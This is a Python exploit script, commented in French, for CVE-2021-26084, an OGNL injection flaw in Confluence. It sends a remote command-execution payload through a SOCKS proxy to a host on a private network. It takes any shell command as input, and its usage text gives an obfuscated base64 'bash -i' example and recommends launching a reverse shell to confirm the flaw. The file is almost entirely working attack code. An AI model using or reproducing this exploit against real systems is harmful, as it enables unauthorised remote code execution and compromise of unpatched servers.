import requests
import sys
# --- CONFIGURATION ---
TARGET = "http://192.168.2.20:8090"
PROXY_SOCKS = "socks5h://127.0.0.1:1080" # Le h force la résolution DNS via le proxy
def exploit_cve_2021_26084(url, command):
# Endpoint vulnérable sur la version 6.15.2
uri = "/users/user-dark-features.action"
target_url = url + uri
# Payload OGNL pour CVE-2021-26084
# Ce payload tente d'exécuter la commande système via Java Runtime
# Note : C'est souvent "Blind", donc on ne voit pas forcément le retour ici.
payload = (
"queryString=aaaaaaaa\\u0027+%2b+class.forName(%27java.lang.Runtime%27)"
".getMethod(%27getRuntime%27,null).invoke(null,null).exec(%27" + command + "%27)+%2b+%27"
)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
proxies = {
"http": PROXY_SOCKS,
"https": PROXY_SOCKS
}
print(f"[*] Envoi de la commande '{command}' vers {target_url} via SOCKS...")
try:
# On envoie la requête POST
r = requests.post(target_url, headers=headers, data=payload, proxies=proxies, verify=False, timeout=10)
# Analyse sommaire
if r.status_code == 200:
print("[+] Requête envoyée avec succès (HTTP 200).")
print("[!] INFO : Cette faille (CVE-2021-26084) est souvent 'Aveugle'.")
print(" Si la commande a marché, vous ne verrez RIEN ici.")
print(" Pour valider, lancez un Reverse Shell.")
else:
print(f"[-] Code retour inattendu : {r.status_code}")
except Exception as e:
print(f"[!] Erreur : {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit_2021.py <commande>")
print("Exemple (Test): python3 exploit_2021.py 'ping -c 2 192.168.1.50'")
print("Exemple (Shell): python3 exploit_2021.py 'bash -c {echo,BASE64...}|{base64,-d}|{bash,-i}'")
sys.exit(1)
cmd = sys.argv[1]
exploit_cve_2021_26084(TARGET, cmd)